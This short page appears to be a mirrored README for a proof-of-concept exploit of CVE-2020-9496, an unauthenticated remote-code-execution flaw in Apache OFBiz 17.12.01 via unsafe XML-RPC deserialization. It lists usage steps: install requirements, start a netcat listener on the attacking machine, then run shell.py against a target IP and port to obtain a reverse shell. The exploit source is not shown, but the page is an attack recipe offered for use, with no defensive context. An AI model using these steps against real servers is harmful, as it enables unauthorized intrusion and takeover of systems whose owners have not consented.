CVE-2020-9496 PoC — Apache OFBiz 代码问题漏洞

Description

ApacheOfBiz 17.12.01 - Unauthorized Remote Code Executión 

介绍

# CVE-2020-9496
ApacheOfBiz 17.12.01 - Unauthorized Remote Code Executión 

XML-RPC request are vulnerable to unsafe deserialization.

# Steps

## Step 1:

`pip3 install -r requeriments.txt`

## Step 2:

`nc -nlvp <port>` # attack computer

## Step 3:

`python3 shell.py -i <remote IP> -p <remote port> -li <local IP> -lp <local port>`

## Step 4:

**You should have a shell in your nc listener**


![shell](https://user-images.githubusercontent.com/87484792/184951495-a1a03e14-9e22-4433-bb7d-354e5b6c5a03.gif)

文件快照

备注